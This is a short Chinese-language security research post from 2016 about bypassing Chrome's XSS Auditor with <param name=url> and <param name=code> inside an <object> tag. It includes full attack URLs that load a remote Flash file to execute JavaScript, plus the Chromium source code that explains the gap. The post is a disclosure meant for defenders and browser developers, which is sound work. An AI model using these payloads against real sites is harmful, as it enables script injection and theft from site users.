XSS Auditor绕过:利用冷门标签
大家好!
我在阅读Chromium代码时偶然发现了一个XSS Auditor的绕过方法。这篇短文将分享这个绕过技巧,我确认它在Chrome Canary 57版本中有效。
绕过方法如下:
1
2
3
4
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
|
以下方式同样有效:
1
2
3
4
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
|
在发现HTMLObjectElement.cpp中的代码之前,我不知道Chrome支持这些参数:
1
2
3
4
|
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
|
<param name="src" value="//attacker/xss.swf">
和<param name="movie" value="//attacker/xss.swf">
会被XSS Auditor拦截。但我注意到code
和url
参数不会被拦截。利用这一点,我们可以加载Flash并执行JavaScript。根据源代码注释,Chrome似乎是为了兼容性而支持这些参数。但至少我确认这在IE/Edge和Firefox中无效。我认为Chrome可以移除这个支持功能!
就是这样。我介绍了使用<param>
标签绕过XSS Auditor的方法。感谢阅读!
发布时间:2016年12月27日星期二上午4:01
标签:Chrome, Flash, Security, XSS, XSSAuditor